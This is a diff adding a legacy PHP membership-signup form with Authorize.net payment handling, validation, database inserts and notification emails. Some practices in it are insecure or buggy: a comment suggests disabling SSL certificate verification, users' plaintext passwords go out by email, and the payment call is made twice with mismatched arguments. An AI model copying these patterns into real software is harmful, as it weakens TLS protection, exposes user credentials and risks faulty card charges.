+               <div id="form-success-top">
+                       Your business Information has been successfully submitted.
+                       A representative will be contacting you shortly to follow up.
+               </div>';
+
+       /**
+        * Primary email address to send notification a record has been updated
+        *
+        * Set this value to false and it will turn off the email
+        * update notifications.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $primaryAdvisee;
+
+       /**
+        * Email address of people that might also want to be advised of updates
+        *
+        * A list of all email address that might also want to be advised 
+        * updates have been made on a business record. You can add as many
+        * as you would like and they will be CC in the email.
+        *
+        * If you use associative key values then they will be appended
+        * to the email string. i.e.
+        * Jamie Kahgee <jamie.kahgee+secondaryAdvisorTest1@gmail.com>
+        * Other wise the address will just be added.
+        * 
+        * N.B. You cannot make this array bigger than 5 people or you will need to
+        * rewrite the function to handle the server spam issue.
+        *
+        * @var array
+        * @access private
+        */
+        protected $secondaryAdvisees = array(
+       );
+
+       /**
+        * If the admin needs to approve members before they are allowed to join
+        *
+        * @var boolean
+        * @access protected
+        * @see $authNetAccount
+        */
+       protected $approvalNeeded = true;
+
+       /** 
+        * Should the captcha be included in the form
+        * 
+        * If credit card processing is being handled in the form there is usually
+        * no need to include the captcha.
+        * Setting this value to false will cause the captcha to be excluded
+        *
+        * @var boolean
+        * @access protected
+        * @see $authNetAccount
+        */
+       protected $includeCaptcha = false;
+
+       /**
+        * If new members will use auth.net to pay and create a new account
+        *
+        * This will override the approvalNeeded property, as a paid member
+        * account should not need to have thier account authorized twice.
+        * 
+        * <example>
+        * protected $autNetAccount = array(
+        *   'auth_net_login_id' => '1234key',
+        *   'auth_net_tran_key' => '1234567890key',
+        * );
+        *
+        * </example>
+        * @var boolean
+        * @access protected
+        */
+       protected $authNetAccount = false;
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The default rules to register for validating
+        *
+        * @var array
+        * @access protected
+        */
+       protected $registeredRules = array();
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder, HTML_QuickForm
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+
+               $this->dbh = $pdo;
+               if (!$this->approvalNeeded && is_array($this->authNetAccount)) {
+                       $this->approvalNeeded = false;
+               }
+
+               if ($this->primaryAdvisee !== false && empty($this->primaryAdvisee)) {
+                       //      Set to false to turn off email function.
+                       $this->primaryAdvisee = OWNER_EMAIL;
+               }
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+               $var = basename(__FILE__, '.php');
+
+               $callbackUrl = ($_SERVER['HTTPS'] == 'on') ?
+                                                         BASE_SECURE_URL : BASE_URL;
+
+               $this->captchaOptions = array(
+                       'width' => 100,
+                       'height' => 50,
+                       'callback' => "{$callbackUrl}Toolkit/qfcaptcha.php?var=$var",
+                       'sessionVar' => $var,
+                       'imageOptions' => array(
+                               'font_size' => 16,
+                               'font_path' => GLM_APP_BASE . 'glmPEAR/Image/Canvas/Fonts/',
+                               'font_file' => 'times.ttf',
+                               'background_color' => '#cccccc',
+                               'obfuscation' => false,
+                               'angle' => true,
+                       ),
+               );
+       }
+
+       //      }}}
+
+       //      {{{     checkCvv()
+
+       /**
+     * Check if the credit card CVV is properly formatted
+        *
+        * @param array $values credit card num and cvv number from the form
+        *
+     * @return boolean whether the cvv is properly formatted
+        * @access public
+        */
+       public function checkCvv($values)
+       {
+               return Validate_Finance_CreditCard::cvv($values[0], $values[1]);
+       }
+
+       //      }}}
+       //      {{{     checkDateInput()
+
+       /**
+     * Checks the validation of a m-d-Y date
+        *
+        * This function will only be called if the autoValidateDateElements
+        * property is set to true
+        *
+        * @param array $value Date element from form.
+        *
+        * @return boolean
+        * @access public
+        * @see    Toolkit_FormBuilder::autoValidateDateElements
+        */
+       public function checkDateInput($value)
+       {
+        $res1 = is_numeric($value['m']);
+        $res2 = is_numeric($value['Y']);
+
+        if (!($res1 && $res2)) {
+            return false;
+        }
+
+        $date = implode('-', $value);
+
+        return Validate::date($date, array('format' => '%j-%Y'));
+       }
+
+       //      }}}
+       //      {{{     checkMemberLogin()
+
+    /**
+     * Check to see if the member name is valid (doesn't already exists)
+     * 
+     * @param string $uname desired user name to check
+     *
+     * @return boolean if the username is valid (doesn't exist)
+     * @access public 
+     */
+       public function checkMemberLogin($uname)
+       {
+               try {
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE member_login = :uname";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':uname', $uname, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('total', $isValid);
+                       $stmt->fetch();
+
+                       return (bool) !$isValid;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     checkMemberName()
+
+    /**
+     * Checks for duplicate member names
+     * 
+     * @param string $name Member name to check for
+     *
+     * @return boolean if the name is valid (doesn't exist)
+     * @access public 
+     */
+       public function checkMemberName($name)
+       {
+               try {
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE member_name = :name";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $name, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('total', $isValid);
+                       $stmt->fetch();
+
+                       return (bool) !$isValid;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     checkNumber()
+
+       /**
+        * Check if the credit card number is properly formatted
+        *
+        * Credit card numbers have a specific formatting based on the credit card
+        * types.
+        * i.e. (visa, discover, etc...) This call verifies if the # was properly
+        * formatted against the card type selected
+        *
+        * @param array $values credit card type and number from the form
+        *
+        * @return boolean if cc number is properly formatted based on the card type
+        * @access public
+        */
+       public function checkNumber($values)
+       {
+               if (empty($values[1])) {
+                       $values[1] = null;
+               }
+
+               return Validate_Finance_CreditCard::number($values[0], $values[1]);
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+       /**
+        * Sets the constants for the form
+        *
+        * @return void
+        * @access public
+        */
+       public function configureConstants()
+       {
+               if ($this->approvalNeeded || !is_array($this->authNetAccount)) {
+                       $newMember = 1;
+               } else {
+                       $newMember = 0;
+               }
+               $constants = array(
+                       'new_member' => $newMember,
+               );
+
+               $this->setupConstants($constants);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               $e = array();
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+               $this->setCategories();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               //      Member Information
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'new_member'
+               );
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'yourInfoHdr',
+                       'display' => 'Your Information'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'fname',
+                       'display' => 'First Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'lname',
+                       'display' => 'Last Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'member_contact_email',
+                       'display' => 'Email'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'member_contact_email_rmv',
+                       'display' => 'Confirm Email'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'phone',
+                       'display' => 'Phone'
+               );
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'businessInfoHdr',
+                       'display' => "$singularType Information",
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'member_name',
+                       'display' => "$singularType Name",
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'member_login',
+                       'display' => 'Username'
+               );
+               $e[] = array(
+                       'type'    => 'password',
+                       'req'     => true,
+                       'name'    => 'member_passwd',
+                       'display' => 'Password'
+               );
+               $e[] = array(
+                       'type'    => 'password',
+                       'req'     => true,
+                       'name'    => 'member_passwd_rmv',
+                       'display' => 'Confirm Password'
+               );
+        $e[] = array(
+                       'type'    => 'CAPTCHA_Image',
+                       'req'     => false,
+                       'name'    => 'captcha_question',
+                       'display' => 'Verification code',
+                       'opts'    => $this->captchaOptions
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'captcha_rmv',
+                       'display' => 'Enter verification code'
+               );
+               $e[] = array(
+                       'type'     => 'submit',
+                       'req'      => false,
+                       'name'     => 'submit_rmv',
+                       'display'  => 'Submit'
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Setup the filters to apply to the elements before we are
+        * handed the values submitted
+        *
+        * @return void
+        * @access public
+        */
+       public function configureFilters()
+       {
+               $f = array();
+               $f[] = array(
+                       'element' => '__ALL__',
+                       'filter'  => 'trim'
+               );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper method to setup the entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+               $this->configureElements();
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureConstants();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               $r = array();
+               $r[] = array(
+                       'element'    => 'member_contact_email',
+                       'message'    => 'ERROR: Invalid email address!',
+                       'type'       => 'email',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => array(
+                               'member_contact_email',
+                               'member_contact_email_rmv'
+                       ),
+                       'message'    => 'ERROR: Your email addresses do not match!',
+                       'type'       => 'compare',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'   => array(
+                               'member_passwd',
+                               'member_passwd_rmv'
+                       ),
+                       'message'    => 'ERROR: Your passwords do not match!',
+                       'type'       => 'compare',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+        if ($this->_preventDupNames) {
+            $r[] = array(
+                'element'    => 'member_name',
+                'message'    => 'ERROR: This name already exists!',
+                'type'       => 'callback',
+                'format'     => array(&$this, 'checkMemberName'),
+                'validation' => $this->validationType,
+                'reset'      => false,
+                'force'      => false
+            );
+        }
+               $r[] = array(
+                       'element'    => 'member_login',
+                       'message'    => 'ERROR: This username is taken already!',
+                       'type'       => 'callback',
+                       'format'     => array(&$this, 'checkMemberLogin'),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               if (is_array($this->authNetAccount)) {
+                   $r[] = array(
+                'element'    => array('cc_num', 'cc_type'),
+                'message'    => 'ERROR: Number does not match card type!',
+                'type'       => 'callback',
+                'format'     => array(&$this, 'checkNumber'),
+                'validation' => $this->validationType,
+                'reset'      => false,
+                'force'      => false
+            );
+                   $r[] = array(
+                'element'    => array('cc_cvv', 'cc_type'),
+                'message'    => 'ERROR: CVV does not match card type!',
+                'type'       => 'callback',
+                'format'     => array(&$this, 'checkCvv'),
+                'validation' => $this->validationType,
+                'reset'      => false,
+                'force'      => false
+            );
+               }
+               if ($this->includeCaptcha) {
+            $r[] = array(
+                'element'    => 'captcha_rmv',
+                'message'    => 'ERROR: What you entered didn\'t match!',
+                'type'       => 'CAPTCHA',
+                'format'     => $this->captchaQuestion,
+                'validation' => $this->validationType,
+                'reset'      => true,
+                'force'      => false
+            );
+               }
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{ createCategories()
+
+       /**
+        * Creates an array from the array of category tree objects
+        *
+     * @param array   $tree  linear category tree array
+     * @param integer $depth what level we are on
+     *
+        * @return array The array list of categories that
+        *                               that can be loaded into a select element
+        * @access protected
+        */
+       protected function createCategories($tree, $depth = 0)
+       {
+               $this->records[] = $tree->category;
+               if ($depth == 0) {
+                       $this->categories[$tree->catid] = "<span>{$tree->category}</span>";
+               } else {
+                       $this->categories[$tree->catid] = $tree->category;
+               }
+               if (empty($tree->children)) {
+                       return;
+               } else {
+                       ++$depth;
+                       foreach ($tree->children as $miniTrees) {
+                               $this->createCategories($miniTrees, $depth);
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{ getCategories()
+
+       /**
+        * Creates array structure of the category tree for use in a select element.
+        *
+        * This method will also instantiate a class property called tree for your
+        * class. This object will hold the tree structure of the categories list
+        * from the Database.
+        *
+        * @return array The array list of categories that can be loaded
+        *                               into a select element
+        *
+        * @access protected
+        */
+       protected function getCategories()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM category
+                                WHERE parent_id = 0
+                                ORDER BY name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $this->tree[] = new Toolkit_Members_CategoryTree($row['category_id'], $row['name'], $this->dbh);
+                       }
+                       if (!empty($this->tree)) {
+                               foreach ($this->tree as $t) {
+                                       $this->createCategories($t);
+                               }
+                       }
+
+                       if (empty($this->categories)) {
+                               $this->categories = array('' => '-- No Categories Created Yet --');
+                       } else {
+                               $this->categories
+                                       = array('' => '-- Select Category --') + $this->categories;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     insertData()
+
+    /**
+     * Inserts contact data into the contact db
+     * 
+     * @param array $values submitted values
+        *
+     * @return object    result of db insert query
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+               try {
+                       //      If they are paying via auth.net and their account
+                       //      doesn't go through, then don't actually insert the member.
+                       if (is_array($this->authNetAccount)) {
+                               if (!$this->processAuthNet()) {
+                                       return false;
+                               }
+                       }
+
+                       $this->dbh->beginTransaction();
+                       $memberCategory = $values['category_id'];
+                       unset($values['category_id']);
+                       $params     = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+
+                       $sql  = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)";
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } elseif ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      For empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               if (empty($v) && $v !== 0) {
+                                       $v        = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       $stmt->execute();
+
+                       $sql = "
+                SELECT member_id
+                  FROM {$this->tableName}
+                 ORDER BY member_id DESC LIMIT 1";
+
+                       $row = $this->dbh->query($sql)->fetch();
+
+                       $sql = "
+                INSERT INTO member_category (member_id, category_id)
+                VALUES (:mid, :cid)";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $row['member_id']);
+                       $stmt->bindParam(':cid', $memberCategory, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       //      If they are paying via auth.net and their account
+                       //      doesn't go through, then don't actually insert the member.
+                       if (is_array($this->authNetAccount)) {
+                               $res = $this->processAuthNet($authValues);
+                               if (is_array($res) && !empty($res)) {
+                                       if ($res[0] == 1) {
+                                               //      CC was Accepted.
+                                               $this->dbh->commit();
+                                               return true;
+                                       } elseif ($res[0] == 2) {
+                                               //      CC was Declined.
+                                               $this->dbh->rollback();
+                                               return 2;
+                                       } else {
+                                               //      There was a CC processing error.
+                                               $this->dbh->rollback();
+                                               return $res[0];
+                                       }
+                               } else {
+                                       //      There was a CC processing error.
+                                       $this->dbh->rollback();
+                                       return false;
+                               }
+                       } else {
+                               //      Not paying by CC so just commit the insert.
+                               return $this->dbh->commit();
+                       }
+               } catch (PDOException $e) {
+                       $this->dbh->rollback();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     processAuthNet()
+
+       /**
+        * Send payment to auth.net
+        *
+        * Test Cards
+        * Card Number      Card Type
+        * ===============  ===============
+        * 370000000000002  American Express
+        * 6011000000000012 Discover Card
+        * 5424000000000015 MasterCard
+        * 4000000000000000 Visa
+        *
+        * @param array $values Submitted values from the form
+        *
+        * @return array Auth.net response
+        * @access protected
+        */
+       protected function processAuthNet($values)
+       {
+               $this->setFormData();
+               $authNetLoginId = $this->authNetAccount['auth_net_login_id'];
+               $authNetTranKey = $this->authNetAccount['auth_net_tran_key'];
+               $authNetUrl     = "https://secure.authorize.net/gateway/transact.dll";
+
+               $authNetValues = array(
+                       'x_login'          => $authNetLoginId,
+                       'x_version'        => '3.1',
+                       'x_delim_char'     => '|',
+                       'x_delim_data'     => 'TRUE',
+                       'x_type'           => 'AUTH_CAPTURE',
+                       'x_method'         => 'CC',
+                       'x_tran_key'       => $authNetTranKey,
+                       'x_relay_response' => 'FALSE',
+                       'x_card_num'       => $values['cc_num'],
+                       'x_exp_date'       => implode('', $values['cc_exp']),
+                       'x_amount'         => $values[$values['member_type']],
+            'x_first_name'     => $values['cc_fname'],
+            'x_last_name'      => $values['cc_lname'],
+               );
+
+               $fields = '';
+               foreach ($authNetValues as $i => $j) {
+                       $fields .= "$i=" . urlencode($j) . '&';
+               }
+
+               $ch = curl_init($authNetUrl);
+               //      set to 0 to elimindate header info from response
+               curl_setopt($ch, CURLOPT_HEADER, 0);
+               //      Returns response data instead of TRUE(1)
+               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+               //      Use HTTP POST to send form data
+                       curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim($fields, "& "));
+               //      Uncomment this line if you get no gateway response. ###
+               //      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
+               //      Execute post and get results
+               $resp = curl_exec($ch);
+               curl_close($ch);
+
+               $res = explode('|', $resp);
+               return $res;
+       }
+
+       //      }}}
+       //      {{{     processData()
+
+    /**
+     * Handles how to process the form when submitted
+     * 
+     * @param array $values Form submitted values
+        *
+     * @return array     Result of Insert / Update function
+     * @access protected
+     */
+       public function processData($values)
+       {
+               $values['primary_contact'] = "{$values['fname']} {$values['lname']}";
+               unset($values['fname'], $values['lname']);
+
+               //      Form data used for the insert/update sql queries and 
+               //      the form email.
+               $e = array();
+               $this->setFormData($e);
+
+               //      Get rid of any defined un-needed elements.
+               //      un-needed elements after the form is submitted are defined
+               //      by the ending _rmv name.
+               foreach ($values as $k => &$v) {
+                       if (preg_match('/^.+_rmv$/', $k)) {
+                               unset($values[$k]);
+                       }
+               }
+
+               Toolkit_Common::getTableMetaData();
+
+               return $this->insertData($values);
+       }
+
+       //      }}}
+
+       //      {{{     sendAdminEmail()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param boolean $test Parameter description (if any) ...
+     *
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+       public function sendAdminEmail($test = false)
+       {
+               if ($this->primaryAdvisee === false) {
+                       return true;
+               } else {
+                       $template = new HTML_Template_Flexy($this->flexyOptions);
+                       $page     = new stdClass();
+                       
+                       $page->base_url    = ($_SERVER['HTTPS'] == 'on') ? BASE_SECURE_URL :
+                                                                                                                          BASE_URL;
+                       $page->approval_needed = $this->approvalNeeded;
+                       $page->member_name     = $this->formData['member_name']['element'];
+                       $page->client_name     = SITENAME;
+                       $page->email_from      = OWNER_EMAIL;
+
+                       $template->compile('addYourBusinessAdminEmail.tpl');
+                       //      Merge the compiled template with the $page object.
+                       $htmlMsg = $template->bufferedOutputObject($page);
+
+                       $msg = '';
+
+                       $crlf     = "\n";
+                       $mimeMail = new Mail_mime($crlf);
+                       $mimeMail->setFrom(SITENAME . " <{$page->email_from}>");
+                       $mimeMail->setSubject('Add Your Business Request From ' . SITENAME);
+                       if (!empty($this->secondaryAdvisees)) {
+                               //      Spam will choke if we CC: more than 5 addresses.
+                               //      so if the user puts more than 5 in, we'll only
+                               //      accept the first 5.  This is stated in the property
+                               //      description for secondaryAdvisees
+                               if (count($this->secondaryAdvisees) > 5) {
+                                       $this->secondaryAdvisees = array_slice($this->secondaryAdvisees, 0, 5);
+                               }
+                               foreach ($this->secondaryAdvisees as $k => $v) {
+                                       if (is_string($k) && !is_numeric($k)) {
+                                               $email = "$k <$v>";
+                                       } else {
+                                               $email = $v;
+                                       }
+                                       $mimeMail->addCC($email);
+                               }
+                       }
+                       $mimeMail->setHTMLBody($htmlMsg);
+                       $mimeMail->setTXTBody($msg);
+
+                       //      If we're testing the interface then don't actually send out the mail
+                       $interface = $test ? 'mock' : 'mail';
+                       $mail      =& Mail::factory($interface);
+                       $body      = $mimeMail->get();
+                       $headers   = $mimeMail->headers($hdrs);
+                       
+                       $res = $mail->send($this->primaryAdvisee, $headers, $body);
+
+                       return PEAR::isError($res) ? Toolkit_Common::handleError($res) : $res;
+               }
+       }
+
+       //      }}}
+       //      {{{     sendMemberEmail()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param boolean $test Parameter description (if any) ...
+     *
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+       public function sendMemberEmail($test = false)
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+               
+               $page->base_url        = ($_SERVER['HTTPS'] == 'on') ? BASE_SECURE_URL :
+                                                                                                                          BASE_URL;
+               $page->member_category = MEMBERS_CATEGORY;
+               $page->approval_needed = $this->approvalNeeded;
+               $page->first_name      = $this->formData['fname']['element'];
+               $page->member_name     = $this->formData['member_name']['element'];
+               $page->username        = $this->formData['member_login']['element'];
+               $page->password        = $this->formData['member_passwd']['element'];
+               $page->client_name     = SITENAME;
+
+               $template->compile('addYourBusinessMemberEmail.tpl');
+               //      Merge the compiled template with the $page object.
+               $htmlMsg = $template->bufferedOutputObject($page);
+
+               $msg = '';
+
+               $crlf     = "\n";
+               $mimeMail = new Mail_mime($crlf);
+               $mimeMail->setFrom(SITENAME . ' <'.OWNER_EMAIL.'>');
+               $mimeMail->setSubject('Add Your Business Request From ' . SITENAME);
+               $mimeMail->setHTMLBody($htmlMsg);
+               $mimeMail->setTXTBody($msg);
+
+               //      If we're testing the interface then don't actually send out the mail
+               $interface = $test ? 'mock' : 'mail';
+               $mail      =& Mail::factory($interface);
+               $body      = $mimeMail->get();
+               $headers   = $mimeMail->headers($hdrs);
+               
+               $res = $mail->send($this->formData['member_contact_email']['element'], $headers, $body);
+
+               return PEAR::isError($res) ? Toolkit_Common::handleError($res) : $res;
+       }
+
+       //      }}}
+       //      {{{ setCategories()
+
+       /**
+        * Creates array structure of the category tree for use in a select element.
+        *
+        * This method will also instantiate a class property called tree for your
+        * class. This object will hold the tree structure of the categories list
+        * from the Database.
+        *
+        * @return array The array list of categories that can be loaded
+        *                               into a select element
+        *
+        * @access protected
+        */
+       protected function setCategories()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM category
+                                WHERE parent_id = 0
+                                ORDER BY name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $this->tree[] = new Toolkit_Members_CategoryTree($row['category_id'], $row['name'], $this->dbh);
+                       }
+                       if (!empty($this->tree)) {
+                               foreach ($this->tree as $t) {
+                                       $this->createCategories($t);
+                               }
+                       }
+
+                       if (empty($this->categories)) {
+                               $this->categories = array('' => '-- No Categories Created Yet --');
+                       } else {
+                               $this->categories
+                                       = array('' => '-- Choose Category --') + $this->categories;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+    //  {{{ setConfig()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function setConfig(Config_Container $c)
+    {
+        $this->config = $c;
+    }
+
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+        * Setup how the form should render
+        *
+        * We also need to attach a couple specific rendering templates to
+        * a few special elements.
+        *
+     * @return void     
+     * @access protected
+        * @see Toolkit_FormBuilder::setupRenderers()
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="req">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr align="center"><td colspan="2">{element}</td></tr>', 'submit_rmv');
+
+               $renderer->setElementTemplate('<tr><td class="labelcell"><label>{label}</label></td><td class="fieldcell captcha">{element}</td></tr>', 'captcha_question');
+               $renderer->setElementTemplate('<tr><td class="labelcell">'.$required.'<label>{label}</label></td><td class="fieldcell">'.$error.'{element}<span class="tooltip" title="Verification Code|To help us distinguish between information submitted by individuals and those automatically entered by software robots, please type the letters shown.">What is this?</span></td></tr>', 'captcha_rmv');
+       }
+
+       //      }}}
+       //      {{{ preventDuplicateMembers()
+
+       /**
+        * Sets the ability for duplicate member names to exist or not
+        *
+     * @param boolean $prevent true to reject, false to allow 
+     *
+     * @return void
+        * @access public
+        */
+       public function preventDuplicateMembers($prevent = true)
+       {
+        $this->_preventDupNames = $prevent;
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+       /**
+        * Call the rendering function to get the form in a string
+        *
+        * destroying and resetting the captcha value dis-allows someone from 
+        * re-sending a form on a previous captcha.
+        *
+        * @return string The Form to be rendered or success msg.
+        * @access public
+        */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       if ($this->includeCaptcha) {
+                               $this->captchaQuestion->destroy();
+                       }
+
+                       $res = $this->process(array(&$this, 'processData'), $this->mergeFiles);
+
+                       if ($res === true) {
+                $this->cleanForm();
+                               $this->sendAdminEmail();
+                               $this->sendMemberEmail();
+                               $this->freeze();
+                               $output = $this->successMsg;
+                               if (is_array($this->authNetAccount)) {
+                                       $rem = array(
+                                               'cc_cvv',
+                                               'cc_type',
+                                               'cc_fname',
+                                               'cc_lname',
+                                               'member_login',
+                                               'member_passwd',
+                                               'captcha_question',
+                                       );
+                                       foreach ($rem as $i) {
+                                               if ($this->elementExists($i)) {
+                                                       $this->removeElement($i);
+                                               }
+                                       }
+
+                                       if ($this->elementExists('cc_num')) {
+                                               //      Obscure th CC Num so its not displayed.
+                                               $e =& $this->getElement('cc_num');
+                                               $ccNum = $e->getValue();
+                                               $newCCNum = preg_replace(
+                            '/\d/',
+                            '*',
+                            $ccNum,
+                            strlen($ccNum) - 4
+                        );
+                                               $e->setValue($newCCNum);
+                                       }
+                               }
+                       } elseif ($res == 2) {
+                               $this->_errors['cc_num'] = 'ERROR: Your credit card has been declined!';
+                               if ($this->includeCaptcha) {
+                                       $this->captchaQuestion->destroy();
+                                       $this->captchaAnswer->setValue('');
+                               }
+                               $output  = $this->errorMsg;
+                               $output .= parent::toHtml();
+                       } else {
+                               $this->_errors['cc_num'] = 'ERROR: There was an error processing your credit card!';
+                               if ($this->includeCaptcha) {
+                                       $this->captchaQuestion->destroy();
+                                       $this->captchaAnswer->setValue('');
+                               }
+                               $output  = $this->errorMsg;
+                               $output .= parent::toHtml();
+                       }
+               } else if ($this->isSubmitted()) {
+                       if ($this->includeCaptcha) {
+                               $this->captchaQuestion->destroy();
+                               $this->captchaAnswer->setValue('');
+                       }
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+                       if ($this->includeCaptcha) {
+                               $this->captchaQuestion->destroy();
+                               $this->captchaAnswer->setValue('');
+                       }
+                       $output = parent::toHtml();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/AddPhoto.php b/Toolkit/Members/Admin/AddPhoto.php
new file mode 100644 (file)
index 0000000..c416bdd
--- /dev/null
@@ -0,0 +1,344 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles the photos tab in the member record
+ * 
+ * Controls setting up the add photo form if applicable, and rendering
+ * each uploaded photo edit form to edit/delete the photo.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
